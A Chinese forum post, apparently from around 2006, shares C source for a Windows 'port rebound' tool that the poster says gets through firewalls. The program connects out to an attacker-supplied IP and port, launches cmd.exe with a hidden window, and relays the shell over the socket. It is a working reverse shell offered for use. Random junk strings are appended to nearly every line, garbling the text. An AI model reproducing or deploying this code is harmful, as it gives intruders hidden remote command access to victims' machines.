社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3405阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 O@VmV>m  
;F- kE4w  
/* ============================== m"5gzH  
Rebound port in Windows NT +VDB\n   
By wind,2006/7 c'C2V9t  
===============================*/ |gNOv;l  
#include lH 8?IkK,g  
#include CS  
F~6[DqF\|  
#pragma comment(lib,"wsock32.lib") W0Vjs|/  
78kk"9h'  
void OutputShell(); OmW|\d PU  
SOCKET sClient; $0 )K [K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c|XnPqo;f  
E6uIp^E  
void main(int argc,char **argv) .#SWfAb2h  
{ (pl OV)  
WSADATA stWsaData; V3S`8VI  
int nRet; DuaOi1Gw  
SOCKADDR_IN stSaiClient,stSaiServer; ,k4 (b  
BC3I{Y |  
if(argc != 3) Mh\c+1MFs  
{ O-RiDYej  
printf("Useage:\n\rRebound DestIP DestPort\n"); lEJTd3dMi  
return; 3UEh%Ho  
} 3z#16*  
KR63W:Z\'  
WSAStartup(MAKEWORD(2,2),&stWsaData); "&~Um U4CN  
wiZK-#\x  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3i<*,@CY  
6N ^FJCs  
stSaiClient.sin_family = AF_INET; &e{&<ZVR  
stSaiClient.sin_port = htons(0); {|50&]m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MC3{LVNK  
q QQ~ [JL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >A6lX)  
{ tO#y4<  
printf("Bind Socket Failed!\n"); #Uo 9BM  
return; e |!i1e!  
} 8Vp"}(Q  
b=sc2 )3?  
stSaiServer.sin_family = AF_INET; .Q7z<Q  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o Vs&r?\Z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `R\0g\  
eG<32$I  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i4l?q#X  
{ sBh|y F,  
printf("Connect Error!"); /h;X1Htx}  
return; awUIYAgJ3  
} ]Kd:ZmJ  
OutputShell(); /PO5z7n0J  
} '{EDdlX  
Q'Q^K  
void OutputShell() {Q0"uE)-.  
{ JA&w"2X*E  
char szBuff[1024]; %*,'&S  
SECURITY_ATTRIBUTES stSecurityAttributes; 0 I,-1o|s  
OSVERSIONINFO stOsversionInfo; %NKf@If)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d)LifsD)  
STARTUPINFO stStartupInfo; Oo,<zS=ICk  
char *szShell; Pp?J5HW  
PROCESS_INFORMATION stProcessInformation; ,JR7N_"I  
unsigned long lBytesRead; Pm-@ZZ~  
Gg_i:4F  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \ /o`CV{O  
\JX8`]|&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]P-;]*&=  
stSecurityAttributes.lpSecurityDescriptor = 0; h[Hw9$31  
stSecurityAttributes.bInheritHandle = TRUE; `5 bHZ  
>-Jutr<I"~  
ibh!8"[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E0w>c'kH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); y5>H>NS  
M!,WU[mP  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  {sbQf7)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V7.EDE2A3  
stStartupInfo.wShowWindow = SW_HIDE; Y.ic=<0H  
stStartupInfo.hStdInput = hReadPipe; +Oo>V~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x.!%'{+ {  
`6'fX[j5  
GetVersionEx(&stOsversionInfo); #=h~Lr'UH  
e4t'3So  
switch(stOsversionInfo.dwPlatformId) b}Jcj  
{ l%U{Unwu  
case 1: ) "'J]6  
szShell = "command.com"; z@dHXj )  
break; hC,EO&  
default: i0hF9M  
szShell = "cmd.exe"; a *>$6H;  
break; 'z@(,5  
} hH>t  
wTG6>l]H  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x5s Yo\  
lO[[iMHl<  
send(sClient,szMsg,77,0); >%t"VpvR  
while(1) Y*0mC"n}  
{  ,_HVPE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -B'<*Y  
if(lBytesRead) M1^pf<!s  
{ A^xD Axk  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +n7bbuxj(X  
send(sClient,szBuff,lBytesRead,0); X180_Kt2  
} d(<[$ 3.  
else .z+ [3Oj_E  
{ +eQg+@u  
lBytesRead=recv(sClient,szBuff,1024,0); SD |5v*  
if(lBytesRead<=0) break; *1|&uE&_R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~'n3],o?  
} f/aSqhAW  
} J'W6NitMr  
?!KqDI  
return; e~oI0%xl^  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五